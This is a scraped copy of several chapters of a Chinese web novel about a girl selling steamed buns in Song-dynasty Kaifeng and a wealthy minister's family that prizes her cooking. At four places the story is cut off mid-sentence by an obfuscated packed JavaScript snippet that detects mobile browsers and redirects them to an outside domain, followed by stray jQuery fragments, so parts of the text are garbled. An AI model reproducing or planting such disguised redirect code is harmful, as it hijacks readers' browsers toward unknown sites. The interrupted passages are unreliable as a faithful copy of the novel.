《北宋小饭馆》 7. 谢府盏蒸羊 007 昭德坊，谢宅。 老夫人院里，门上新来的小丫头子正拿着竹帚细细地扫墙角的雪沫儿，天儿冷，两只手一会儿便冻得发疼，她哈口气，搓一搓手，将两只脚跺一跺。 从这儿能瞧见灶房的白烟，香味儿顺着飘了来。 三郎君打发人传话，今儿从太学告了假。 几个郎君里头，老夫人最疼三郎君，周嬷嬷亲自去灶房，让杜娘子整治一桌好饭食。 杜娘子最擅侍弄羊肉，很得大娘子的意。 这羊肉中，杜娘子最得意的要数盏蒸羊。 听府里姐姐们闲话，这道菜用的是羊羔背上最嫩的里脊，一头小羊羔身上，贴着脊骨，就只细细的两条，全家吃一回，得好几头羊呢。 光是配菜的葱，就用了五十斤！只取葱心嫩似韭黄的一丝儿，其余都不要。 得过赏的嬷嬷说，那肉柔滑细嫩，盛在琉璃盏中，用杏酪调味儿，出锅撒上葱丝儿，吃的时候得仔细着，不仔细，进了嘴就滑下嗓子眼了！ 还有道细项莲花鸭签，也是杜娘子的拿手绝活。 细颈鸭只取最嫩的鸭颈肉，去骨切薄如蝉翼的片儿，光用来腌制的香料，足有几十种。 裹网油卷了，改花刀，下油锅一炸，花刀炸开，成了一朵朵盛开的莲花，摆在玉盘中，跟真的一般！ 连最不重口腹之欲的谢相公吃了，都夸“馨香脆美，济楚细腻”。 谢相公和大郎君今儿下值早，来给老夫人请安，大娘子也在，就连最贪玩儿的四郎君，也咋咋呼呼地跑了来，说要给老夫人献上好物儿。 小丫头蹲下身，将雪铲进园子里。 老夫人书香大家出身，最讲文雅。 园子里冬日也不冷清，红梅、蜡梅、绿萼梅、老桩梅，各色都有。 还有海石榴、鹤顶茶，最令人惊奇的，要数屋里那盆“金盏银台”，屋里的姐姐们当祖宗伺候呢！ 她视线一晃，瞧见对面走来一个郎君，身后跟着穿圆领襕衫的赵院公。 府上两个郎君她都见过，个个长得好，二郎君自打她来了就不在府里，嬷嬷不许他们提。 这位郎君长得比所有人都好。 她小脸涨红，忙停下，在腰间布巾上擦了手，走上前，行了个万福，“三郎君回来了？相公、大娘子、大郎君和四郎君也在呢。” 谢晦垂眸看了眼。 “三哥儿在太学可好？老夫人日日念叨呢，府里新雇了些小丫头，这是老夫人院里洒扫的。” 赵院公对这小丫头满意，有眼力见儿。 “都好。”谢晦道。 郎君声音也好听！小丫头呆呆看着，再次感叹自己命好，幸好被大娘子挑了来。 他们家本是陈州门住棚户的，家里人冻死了，舅舅将她绑了要卖给妓馆。 她听说谢府上要在陈州门的灾民里挑些小丫头，咬断了麻绳逃了出去。 谢晦听见屋子里的笑声。 门上婆子忙笑着打起帘儿，“三哥儿回来了！” 屋子里围着好些人，老夫人手里拿着馒头，正笑着跟众人说话，丫鬟婆子站了一地儿，也都在笑。 “我的儿！怎地瘦了！快让祖母瞧瞧！” 老夫人瞧见三哥儿，立马心疼得不行，“穿得恁单薄！” 谢晦眉眼温和下来，走到老夫人跟前行礼，“祖母。” 又向其他人问好，“父亲，母亲，大哥儿，四哥儿。” 大娘子将谢昀赶到下首，将老夫人身边的位置留给谢晦，“快坐罢，老夫人念叨你呢。” “好端端怎地告假？业精于勤荒于嬉，才升入上舍就自满。”谢相公板着脸。 谢晦抿唇，“父亲教训的是，含章知错。” 老夫人将錾花铜手炉一扔，“啪！” 谢相公眼皮一跳。 “老身七老八十也没几日好活了，好好的孙儿想见一面也不成。” 说着扭过身，气得心口起伏。 谢相公忙站起来，“是儿的不是，娘莫生气。” 大哥儿也忙站起来，“爹也是挂念三哥儿，一家人好容易吃饭，三哥儿明儿还要去太学，祖母忍心他饿着肚子？” 周嬷嬷忙拿了药圆子伺候老夫人服下。 谢晦替祖母顺气，“爹是怕孙儿自满，祖母当心身子。” 老夫人这才缓和了脸色，拉着他的手，“手恁冰！快拿我让人新做的那件银鼠裘来！” 谢相公脸一板，刚要说话，被大娘子看了一眼，不由讪讪闭了嘴。 “祖母，银鼠裘贵重，孙儿无功无名，怎好招摇？官家俭省，含章不欲多生事端，多谢祖母挂念，银鼠裘只有祖母才配穿了。” “是呢，连皇后侄女，当着官家面儿穿织金衣裳，如今都送入观音院出家去了。”谢大娘子笑道，“晦哥儿是替相公着想呢，若教同朝参了也不好。” 老夫人一脸心疼，扭头瞪儿子，“亏你还念着你老子。” 谢相公捋了捋胡须，“还算知进退。” 老夫人冷哼，“你倒也知道，我看有人嫌我一把老骨头碍眼，处处挑我们祖孙俩的刺，若是如此，我们索性搬了出去，省得碍了相公大人的眼！” 谢相公忙起身，弯腰赔不是，“母亲折煞儿子了，儿万万不敢！” 他悄悄扯了扯大娘子袖子。 谢娘子抽回袖子，笑，“老夫人，三哥儿一路风雪，快教他换身衣服罢。” “还说甚么，快去！” 谢娘子看了谢昀一眼。 谢昀忙道，“祖母忒偏心！昀哥儿眼巴巴给祖母送馒头，祖母见了三哥儿，倒把人晾一边儿！哼！” “你个皮猴儿！成日见你，我都见腻了！赶紧送入太学才好让我老人家清静清静！”老夫人这才笑。 满屋子丫鬟婆子也笑得前俯后仰。 四郎向来是开心果儿。 等谢晦换了家常衣裳，老夫人拉着他的手坐在自己跟前，让人捡了馒头给他，“晦哥儿你尝，四哥儿市井买来的，我吃着竟有些出奇。人老了牙口不好，糕饼粘牙膛，我向来不爱的，这家馒头和鸡子糕入口即化，不知怎做的，好生松软！” 谢晦拿了个鸡子糕，色泽金黄，闻着香甜，含在嘴里不用咬都化了，甜滋滋的味儿混合着鸡子的香。自来鸡子都是蒸煮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222007|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煎烤，这鸡子糕瞧不出名堂。 “确实好。”谢晦道。 谢娘子笑：“说来也真真儿有巧思呢！那娘子统共做了三十个，都让昀哥儿买了来，合该老祖宗有口福。” 谢相公不爱吃甜滋滋的物儿，也忍不住吃了几个，实在是停不下来。 “娘既爱吃，索性将那娘子聘了来。” 谢晦闻见馒头里的乳香，蜜枣浸得软糯，馒头蓬松柔软，捏下去回弹，他垂眸，“父亲说的是。” 谢昀：“好耶，若是那小娘子到了我们府上，周琦岂不气死！” 谢娘子狠狠掐了他一把，谢昀“嗷”一声，忙死命捂住嘴，眼眶里疼得闪泪花。 谢晦瞧见，收回视线，垂眸。 谢娘子笑着道，“四哥儿回头问问小娘子意愿呢！” “知道了，娘。”谢昀委屈吧啦。 小丫头们端了盘儿来，各色饮食果子几十盘，摆在厅里，一家人用膳，丫鬟婆子伺候着，自不必提。 * 麦稍巷。 晚上，黄樱一家人围着泥炉子吃腊肠焖饭。 宁姐儿连吃三碗。 黄樱一口下去，口齿生香，忍不住眯起眼睛。 腊肠被油浸透，带着焦香和烟熏味儿，香得舌头都要掉了，米饭油润润的，豆腐吸满了汤汁，拌在米饭里，吃下去的瞬间，浑身毛孔都张开了。 活着真好呐，能吃得香，没什么比这更幸福了。 苏玉娘：“我的儿！这也太好吃了些！皇帝吃的也不过这样罢！” 她将碗底的油拿炊饼擦得干干净净，吃得红光满面。 黄父闷不吭声，连吃三大碗。 碗底都用炊饼擦干净了。 这么些日子，一家人才吃了顿好饭。 “什么时候咱能顿顿吃上这样的饭呢？”苏玉娘咋舌，随即叹了口气，“我可怜的兴哥儿不知道有没有饭吃，那淘河又冷又累的，唉。” 紧接着就交代，“二姐儿可不兴这样大手大脚花钱。白粳米再不许买。” 黄樱：“知道了娘。” “我打听了，戚娘子头发剪了卖，卖了六百文。”她压低声音道，“没钱可不行。他们家交不起赁屋钱，回乡的盘缠也不够，明儿就要到东水门去，那儿棚户一日只要几文钱。这天寒地冻的，连遮风挡雪都难。” 她臊着脸，“不过，我瞧着她可怜，借了两百文给她。” “娘你是刀子嘴豆腐心呐！” “死丫头！”黄娘子红了脸，“倒打趣起老子娘了！” 黄樱给她挠得痒，笑着躲，“谁说我娘不好，二姐儿头一个不答应！” 两个小家伙在旁边跑来跑去，咯咯笑。 这晚，黄家屋子里炉火噼啪燃烧，屋里热烘烘的，空气里飘着腊肠饭的味道。 小孩子嘴角挂着甜甜的笑睡着了。 黄樱是被吵嚷的声音惊醒的。 是娘的声音。 她拍了拍几个小孩子，“没事儿，睡罢。” 忙穿上衣裳，轻手轻脚跑出去。 灶房里传来娘大哭大闹的声音。 她吃了一惊。 8. 灶房遭贼偷 008 “好啊！个杀千刀的贼婆子，黑了心肝、烂了肠肺的！老娘真是瞎了眼！” 黄娘子坐在地上拍腿大哭，“可怜我家那点粮，都给她偷了！我可怜的儿啊，一顿饱饭都吃不上，便宜了这腌臜货！天爷！活不下去了！” 邻里都披了衣服趴在墙上瞧热闹。 边看，还边聊起来了。 “我就说那戚娘子闷不吭声的，恁坏！” “好端端的谁能把头发绞了？可见是个歹毒的！” “这黄娘子嘴上不饶人，怕是平日得罪了人呐，做人嘴上还是要积点德。” …… 黄樱一眼瞧见隔壁吴老太，就她说得唾沫横飞。 顿时又好气又好笑，这老太太一把年纪也不怕摔下去。 她忙跑过去将娘扶起来。 “我不活了！”黄娘子拍大腿直哭嚎，“手脚不干净的贼妇！出门教雷劈死！” “娘，先回屋。”黄樱和黄父两个人将娘扶回去。 她拍拍娘的手，悄声道，“没事儿，只丢了吃的，咱们两日就赚回来了。” 黄娘子气得咬牙切齿，“教我碰见这贱妇，我要撕了她！” “娘你歇着，我重新做些馒头卖。” 黄父给她帮忙。 昨晚睡得死，灶房里鸡子糕、豆腐肉馅儿、腊肠、卖面、枣……全都被洗劫一空。 估计太过慌忙，地上还乱七八糟落了一些。 但凡有点良心，不至于一点活路不给别人留。 这院里谁不知道他们家穷得叮当响。 怪不得娘要闹了。 黄樱印象里戚娘子沉默寡言，任那戚磨家打骂。 茹姐儿死了，戚磨家也没活下来，没成想戚娘子能做出这种事来。 幸好，昨晚烧泥炉，柴放在娘屋里。 黄樱跑了趟自个儿屋，拿来十五颗鸡子和一袋面、枣、红豆、沙糖、腊肠。 “爹你瞧！”黄樱笑，“多亏我长了个心眼，往屋里放了些。” 苏玉娘脸上还挂着泪，“这——” 黄樱笑：“灶房里没留下甚么，偷的不多，娘你快歇着罢，我这会子便做了。” 她先把鸡子打了，让爹打发蛋白。 屋里黑，只点一盏油灯，她偷偷放了糖爹也瞧不见。 其他还好说，只是可惜了她的肉馅！ 豆腐这会儿也没了。 她想了想，偷偷从空间拿了一把笋鲞、干香蕈出来，也就是笋干和香菇干。 先泡水。 北宋漕运发达，笋干价格不贵，但香菇不便宜。 不过她今儿应急用，不打算每日做。爹娘那儿好说。 “这把干货还是昨儿碰巧遇到的呢！” 黄父两个膀子甩得飞快，蛋白一会儿就打出细密的沫儿来。 黄樱将雪倒锅里，烧开，先将笋焯水，不然会有股涩味。 趁着这会儿，她将和好的面盆坐到热水上醒发。 爹打好蛋白，黄樱跟蛋黄糊搅拌匀，开始往模具里倒。十五个鸡子是她临时从空间拿的，不敢多，多了黄娘子那里说不过去。 今儿只能交付昨天预定的三十个鸡子糕了。 大火烧开，先蒸鸡子糕。 爹盯着火，黄樱开始揉面，包馒头。先包蜜枣和蜜豆的。包完在一旁醒发。 香菇也泡得差不多了。 腊肠，香菇，笋干切丁，切了满满一盆。 鸡子糕蒸好了，出锅！ 她手脚麻利地在腰间青花手巾上擦了两把，将鸡子糕拿出来晾着，锅里热水也快烧完了。 她舀出来，倒油，烧热，放葱蒜、腊肠丁煸炒，将腊肠里的油都炒出来，锅里滋啦作响，屋子里都是葱蒜的香味儿。 等加入酱油、胡椒粉、五香粉炒出味儿，香得人一个劲吸气。 黄樱麻利地盛出锅，倒水。 先蒸包好的馒头。 等腊肠馅儿差不多晾凉了，正好前面的出锅。 今儿包了两百馒头，爹担里挑甜馒头，黄樱挑腊肠馒头和鸡子糕，咸的和甜的分开，免得串了味儿。 刚出门，旁边院门“吱呀”一声推开，探出个圆圆的脑袋。 “甘来小师父！”黄樱笑着打招呼。 “小娘子，馒头可是好了？” 黄樱笑，“有蜜豆的，蜜枣的，腊肠的，小师父要吃哪个？” “肉沫馅儿呢？”甘来惦记一晚上了。 “对不住，肉馅儿的没做出来，得半下午了。” 甘来隔着院墙都闻见了他们家厨房的味儿，眼里有些失望，“罢了，各捡五个罢。” “好嘞！” 甘来兜着一篮馒头，手里拿了个腊肠的，不待走进屋里，迫不及待咬开，烫得吸了口气，眼睛瞪大，忙在嘴巴里倒腾，舍不得吐出来，“哇！好香！” 黄樱失笑。 她拿两个，跟黄父一人一个，咬一口，唇齿生香。 面皮松软，她用的中筋面粉掺了点荞麦粉，发得刚刚好。 腊肠的油浸透面皮，瞧着就流口水。 一口咬下去，汁水浓香，笋子脆嫩，香菇干特有的鲜香风味跟腊肠的烟熏味儿融合在一起， 要不是卖钱，她想一口气吃五个！ 黄父笑：“好吃。” “这腊肠馒头，一个要卖八文钱！”黄樱道。 出了后巷，市井已开，街市灯火通明。各家铺子都冒着热气儿。 小脚店的青白布“酒招子”在寒风里上下翻飞。 门口停了一辆平头车，拉车的牛慢悠悠地在辕内反刍。穿皂袄的小儿子将两只手缩在袖中，臂间牵着牛鼻环，张大嘴巴打了个呵欠。 车上放两只酒梢桶。 这是东京城里正店送酒的桶，一桶可装三斗酒，能卖一贯五百文。 北宋人爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他踮脚张望方才那小娘子的方向，唱卖声已经远了，似乎隔了条街道。 脚店娘子招呼店中小儿子将酒搬下去，给了他二十文。 他牵着牛往回走，越想越后悔，早知便多买几个，八文钱一个肉馒头，满满当当的馅儿，很划算了，还有香覃呢！那可不便宜。 一路上他好几次想回头，但碍于活没干完，到底没能回去。 他决定明儿定要多买几个。一整日满脑子都是那馒头的味儿，他逢人便说，早上往麦稍巷送酒，遇到挑担儿卖馒头的小娘子，那馒头的味儿比正店的还好吃。 大家都不信他，嘲笑，“乔牛车儿，你连正店的银盘儿都没摸过，怎知比正店好吃？” 他很沮丧。 …… 9. 小姑馆娇娘 009 “小娘子——” 隔着老远，黄樱便瞧见那盖着箬笠的栀子灯宅子前站着个小丫头。 小丫头今儿格外急，跳起来朝她挥手，“快来！” 黄樱挑眉。 黄大年沉默地抓住她胳膊，“二姐儿。” “爹，没事儿，咱们卖馒头，又不碍着什么。” 黄父犹豫了下，到底跟着她上前。 这次不等黄樱开口，小丫头递来一串钱，“蜜豆、蜜枣馒头一样五个！鸡子糕也要五个！” 黄樱笑道，“鸡子糕今儿还没好，要半下午才有呢。我今儿新做了腊肠笋鲞香蕈馒头，小娘子可要尝尝？一个八文钱，不好吃不要钱。” “我尝尝！”小丫头今儿脸冻得发青，牙齿都打颤，一个劲儿跺脚搓手，显然在外头站久了。 黄樱包了个烫呼呼的馒头给她。 “小娘子今儿怎这般早？” “惦记你的馒头，怕你不从这儿过呢。”小丫头使劲跺了跺脚。 拿到馒头，碧儿先被那滚烫的热度暖了下，两只手捧着暖了暖手，饿得前胸贴后背了，忙一口咬下去，“好烫！” 她舌头被烫了一下，好香！她吸溜着舌头，几乎狼吞虎咽。 “腊肠我也不是没吃过，一股糟腊味儿，咸得很，怎这般香！”她不可置信。 黄樱麻利地将馒头包好，笑着道，“我这腊肠用的可是实打实的上等猪肉，用花椒叶熏过呢，一丝儿也不腥的，光调味儿的香料就足有十几种。” 小丫头咋舌，“既没了鸡子糕，这馒头也捡五个罢！” 她瞥了眼黄父，见是个面黑憨实的男人，撇撇嘴。 “好嘞。”黄樱笑道。 黄父替她搓开油纸，黄樱装，很快便好了。 “这腊肠馒头若是凉了，在锅里蒸一下便好。” “晓得了。”小丫头挎着小篮子，迫不及待地跑回去了。 瞧着背影，很是雀跃。 碧儿跑上楼，便轻手轻脚起来，最里边的阁子是靥儿娘子的。 她小心翼翼在门外道，“娘子。” 靥儿翻了个身，“奴家伺候官人起身。” 大腹便便的男子“嗯”了一声，摸着她的脸。 半晌，屋里传来叫水的声音。 他们小姑馆的娘子，与那杀猪巷、鸡儿街不同，都是颜色鲜亮的小姐，恩客也不是那等贩夫走卒、汗臭熏死人的。 这一行，头一要紧的是小姐们的阁子，绣户珠帘，罗绮飘香，老鸨在上头花了不少钱。 再者，就是茶房了。热水白天黑夜不得间断的。 那炭眼见着是一筐一筐送，老鸨心疼得针扎一般。 碧儿捏着腕子上薄薄的银镯儿，那是靥儿娘子赏她的。她买的馒头抢来了李娇儿的恩客，靥儿娘子很是得意。 她摇了摇廊上的铃儿，自有底下的小丫头子端热水来。 “给我罢。”碧儿接过尖嘴茶壶儿，见那黝黑的小丫头子伸脖子想往屋里瞧，不由瞪了一眼，狠狠撞开去，“你是长脖儿鹄？瞧甚麽？还不下去烧水。” 小丫头冷哼一声，扭身走了，她翻了个白眼，谁不知晓碧儿是茶房爬上来的。不就是得了靥儿娘子的意么？ 如今娇儿娘子可是压了靥儿一头。看她以后还能得意多久。 靥儿伺候刘官人洗漱完，声音娇软，“碧儿。” “哎！” 碧儿忙端着热气腾腾的馒头进来。她方才在锅子里热着呢。 那刘大官人见了馒头，拿起一个咬下去，赞不绝口。 靥儿在镜前梳妆，眼波柔媚，“不过是馒头，官人什么好东西没吃过，怎就偏爱这个？” 刘官人是杭州来的富户，做绸缎生意，每年春日开河前都要来东京城里看行情。本是李娇儿的老主顾，因昨儿吃了她的馒头，晚上便挂了她的牌子。 闻言，他捋了捋胡须，“这馒头滋味儿好。” 他坐到靥儿身边，揽着她盈盈一握的腰肢，将馒头递到她面前，“你闻。” 靥儿：“我都吃腻了。” “这个味儿，闻见了么？” “不就是馒头味儿？值当什么？”靥儿哼笑，“什么好东西。” “这是乳味儿。” 靥儿插簪的手一顿，两道细眉一挑：“乳味儿？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222009|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘大官人嗤笑，“你自然不知了。” “单凭牛乳或者羊乳，奶味儿没有这样浓，非得是醍醐才行。” 刘官人啧啧，“某前几日随江浙转运使去枢密使府上，枢密使夸此物最是松软可口。据闻乃小衙内所献，某还寻思何处能吃到？不成想竟在你这儿碰上。” 靥儿拿过馒头咬了一口，若有所思，“确实。” “光禄寺乳酪院的东西，一般人可买不到。那小娘子说此乃秘方？倒是有些名堂。” 碧儿忙道：“是呢！她一个卖炊饼的娘子，连乳酪院大门朝哪边怕是都不晓得，奴瞧着是自个儿琢磨的。倒真真儿有些门道，今儿还有道腊肠笋鲞香覃馒头，大官人可要尝尝？” “哦？” 碧儿忙端了来。 “善呐！”刘大官人连吃三个，直拍大腿，“那小娘子在何处？若能雇了她岂不好！” “她走街串巷的，改明儿问问她。”靥儿拿着团扇笑，“给大官人家里做厨娘，不比她风吹雨淋的强？” “非也。”刘大官人捋胡子，“女子见识甚短。我若将她献给枢密使，不比贪图口腹之欲的强？多少钱赚不来？” 靥儿哼，“果然商人最是重利，三句话离不了钱。” “没有钱，你能让我进闺房？” 两人又凑到一处闹，碧儿忙退出去了。 “哟。”一道妖娆的身影倚在门旁，只穿着抹胸，两只雪白的膀子光溜溜的，只将瓜子壳儿照碧儿脸上扔。 碧儿缩了缩脖子，“娇儿娘子。” “呸。”李娇儿“砰”一声摔上门。 …… 黄樱将碧儿给的九十个铜子儿放进身前斜挎的布袋里，“当啷”一声，她心头美滋滋的。 收钱的滋味儿别提多好。 她搓了搓手，哈口气，和爹挑起担儿继续唱卖。 一到水柜街，便有许多回头客来买。 蜜豆和蜜枣的卖得很好，腊肠的尝了以后都要来几个。 街上饮食店里人也不少，但这个小娘子处实在热闹。 好些竟还是读书人。 这便引人好奇了。 10. 瓠羹店老饕 010 贾家瓠羹店里有个老客——王员外，比起尚书省后门的史家瓠羹店，他还是更爱从小吃到大的这家。 店中小儿子见了老客，笑着送上老三样儿，唱喝，“煎鱼，煎鲞，鹌子羹，再送您一副灌肺咧！” 王员外笑呵呵地跟店里铛头——厨子打了个招呼，坐在窗前，一边喝羹，一边瞧店外那对卖馒头的父女。 生意当真不错。这么一会子，眼瞧着两个筐里馒头下去一大截！ 店中自有等着替人跑腿挣两个钱的“闲汉”，一个十岁小孩儿上前，老练道，“员外可要尝一尝那黄家馒头？味儿甚好，国子监那些小衙内喜欢得紧。” “哦？”王员外心里一动，给他一把钱，“各样儿买一个来。” “好嘞！” 黄樱包馒头的手没停过。 等这波老客都卖完，篮子里也就剩个底儿。 “小娘子！各色馒头捡一个来！” 黄樱笑，抬头一看，是个小孩儿，穿的竟是单衣，两只脚上是草鞋。 她张口就是白雾，“好嘞！” “馒头可以先尝，不好吃不要钱。” 黄樱包了个腊肠的试吃，“小哥儿尝一尝呢！” 小孩儿眼睛一亮，忙接过来，一口下去，眼睛瞪大了，这面皮儿忒香，松软得很，一点儿不像麦麸喇嗓子，好香！里头的腊肠还有什么笋鲞、香蕈的，他没吃过，只觉好吃得出奇！ 他有些呆住了。 想到家中，捏着油纸的手不由攥紧。 黄樱拣好，小孩儿给了钱转身便跑了。 她瞧见跑进了贾家瓠羹。 黄父默默将馒头盖好，替她将风挡了。 黄樱跺了跺脚，捂着耳朵，耳朵冻得疼，娘昨儿给她做耳捂，还没好，她裹的布巾子不抗风。 “爹，你冷不？”黄樱还有新袄和新鞋，爹的袄都穿好多年了，更不抗冻。 “不冷。” “快些卖完咱回家烤火！” 正要挑担儿走，几个小厮抬着一顶翠幄青绸轿经过。 轿里探出个小郎君，生得眉清目秀，“小娘子，小爷的鸡子糕可留了？” 黄樱认出是昨儿跟谢郎君吵嘴的小郎，笑道，“已替郎君包好，就等郎君拿呢！” “各色馒头再捡几样来。” 她直接将篮子提到轿前，自有小厮仔细看过后捡过去。 书童给她一吊钱。 黄樱“哎”了一声，两只手在腰间青花手巾上一擦，“等我给您找！” “余下的赏你了。”周琦一挥手，赶着点卯去了。 “多谢小郎君咧！”黄樱忙将钱装好。 她喜滋滋地跟爹挑起担子，继续唱卖。 快到太学时，一辆高大的棕盖牛车行了过来，“停停停！” 车一停，青绸帘儿被一把掀开。 黄樱先笑了，“谢小郎君。昨儿鸡子糕可好吃呢？” 仆人摆好凳儿，谢昀三两步跑下来，头上狸帽险些跑掉。 “鸡子糕甚好。”他小脸红彤彤的，一双眼睛乌黑明亮。 这小孩儿可真好看呐。 “今儿新做了腊肠笋鲞香蕈馒头，郎君可要尝一尝？” 谢昀一听，“腊肠？” 黄樱包了个试吃递给他，“不比蜜枣的差呢！” 谢昀狐疑地接过来，先闻了闻，一股好香的味儿！ 他咬了一口，眼睛一亮，三两口吞下肚，忙回头，“三哥儿！快来！” 他看着黄樱，越看这小丫头越合心意。 “这腊肠馒头和鸡子糕，各给我包十个！蜜枣蜜豆的各五个。” 黄樱笑，“对不住小郎君，今儿鸡子糕只三十个，都被昨儿那位小郎君买走了。” “甚么！”谢昀跳脚了，“竟被周琦那厮抢走了！” 他气得小脸涨红，“气煞小爷！” 黄父默默上前，挡在黄樱前面。 黄樱笑着道，“明儿来定能买到了，我给小郎君留着。” 她手脚麻利地捡好馒头，刚笑着抬起头，谢小郎君身旁多了个少年。 天还黑着，她借的是一旁脚店的灯火，一眼瞧过去，心里喝了一声。 竟是昨儿太学出来的那个少年。 谢昀还“叭叭叭”大书特书周琦的种种恶劣事迹，谢晦淡淡瞥了他一眼。 他闭上了嘴，委屈巴巴，“三哥儿。” “郎君的馒头好了。” 谢昀立即兴奋道，“三哥儿，这个腊肠馒头忒好吃！给你！” 谢晦没有当街吃的习惯，身后仆人替他拿了。 黄樱视线轻轻扫过这位郎君，心里啧啧称叹。这当真是她见过长得最好看的小郎君。比明暻大师父还好看呐。 那眉眼，一股子贵气。 篮子里只剩几个蜜枣和蜜豆的，黄樱准备回家路上再卖一卖。 “剩下这些替我捡了罢。”谢晦想起吴铎成日抱怨太学膳堂。 “好咧！”黄樱笑得美滋滋的，两个眼睛弯成月牙儿。 跺了跺脚，可以回家了！冻死了。 谢晦瞥了眼她冻得发青的小脸，手也冻得通红，偏眼睛里的笑没落下来过。 声音脆生生的。 黄樱手脚麻利，忙拿油纸包了，放进仆人背的书笼里。 这人长得好看，连声音也好听呐。 她挑起担儿，“鸡子糕明儿定给小郎君留着。” “给我留二十个罢。” “好咧！” “小娘子！”谢昀想起一事，“不知小娘子可愿去我家做厨娘呢？” 黄父一顿，看了眼两个郎君。 “祖母吃了小娘子的鸡子糕，甚爱，余家住昭德坊，小娘子若愿为厨娘，家中长辈必不会亏待小娘子。” 黄樱吃了一惊。 要知道这年头穷人家的小娘子，最好的出路也不过是“身边人”——做妾、“厨娘”、“针线人”、“杂剧人”、“拆洗人”、“棋童”、“琴童”等等，其中厨娘最为下色，然非极富家不可用。① 一个好的厨娘，虽然比不上做针线、手谈、多才多艺的雇佣侍女，但在大户人家当差，光一次赏便能有十来贯钱呐。 而且，这小郎君家住昭德坊！ 昭德坊在哪？大内右掖门前！ 相当于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222010|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北京东华门大街！ 要知道东京城里住宅紧张，连官府衙门都挤在宣德门到朱雀门一带。 这不是有钱买得着的宅子，那都是官家赏给重臣的。 她心里咋舌。不愧是国子监呐，随便出来一个，可能就是宰执家的小衙内。 她忙笑得一脸受宠若惊，“奴何德何能。小衙内真真儿太看得起。这鸡子糕不过是个巧思，老夫人想吃，奴教给府上厨娘便是，微末手艺实在不敢到府上献丑。” 她身上有秘密，大户人家都是人精儿，她还是不冒险的好。 谢昀有点茫然。 他没想到被拒了。 谢晦看了眼黄樱，抿唇，“既如此，便多谢小娘子。劳小娘子跑一趟谢府，家中必不会亏待。” 这个黄樱自然是知道的。瞧这两位郎君，都不是什么嚣张跋扈的纨绔公子哥，府上家教必然极好。 她笑道：“奴家住麦稍巷，黄家炊饼那户便是。” 她心里思索着这两位郎君的身份，昭德坊谢宅，她觉得很耳熟。 想了一路，她想起来了！ 那个闹出家的谢二郎! 谢相公为二品大员户部尚书！深得官家器重。 乖乖，了不得。 回去的路上，黄樱搓着手哈气，“爹，我没答应去他们府上当厨娘，娘定要念叨，可不许说给娘！” 黄父笑：“怎不去？” 在他看来，这实在是求不来的好事儿。 “大户人家厨娘哪是好做的？万一主子嫌我做的不好吃，打骂我呢？” 黄父皱眉，“那不去。” 黄樱笑，“爹最好了！” …… 贾家瓠羹店里，王员外吃了自己点的几样儿，已是饱了。 他拿着小孩儿买来的馒头，闻到一股极香的味儿，到底没忍住，打算尝一口。 一口下去，“咦？” 他有些不可置信。 五文钱一个的贱价物儿，怎有股乳香味儿？ 曹门外乳酪张家正店，乃东京城里出了名的大酒楼，乳酪更是招牌，一份上百文。 这馒头甜香更甚乳酪张家。 他惊呆了。那小娘子穿着，一瞧便是穷人家，哪里来的乳酪？ 这里头的蜜枣也大有名堂。 东京城里蜜饯果子铺第一要数梁门里李和家，宫廷采购也从他家。 他们家光枣，就分灵宝大枣、芽枣、青州枣、豪州枣，一份金盘盛装的蜜枣，刚上市的时候要卖一贯钱。 小娘子这蜜枣馅儿，枣肉肥美而软糯，不比李和家差呐！ 他再吃口蜜豆的，不由哎了一声。 等咬了腊肠笋鲞香蕈的，更是撑着肚子也忍不住吃完了。 这腊肠好生有滋味儿，肥而不腻，瘦而不柴，松软浓香，当真极品！ 旁边客人见他吃得一脸沉醉，不由好奇，“果真好吃？” 王员外：“这小娘子绝不一般呐！若是没吃过，可真真儿是一大憾事！” 喝。其他客人纷纷回头，“竟这般好吃？” 王员外：“某走南闯北多年，几文钱的吃食，绝没有超过这家的。” 11. 谢晦赠馒头 011 却说谢晦到太学门口，家仆将两担儿东西抬到斋舍安置妥当，将炭盆上的铜罩子拿开，生了火，又往黑漆花腿大方桌上月白釉紫斑茶壶里沏了热茶，便家去了。 太学不允闲杂人等来往，门口守阙因他们挑着东西，又是谢晦的方才允呢。 他们认得谢尚书府的三郎，学问甚好。 太学分三舍法，谢晦去岁公试，得“上等”，升入了上舍。 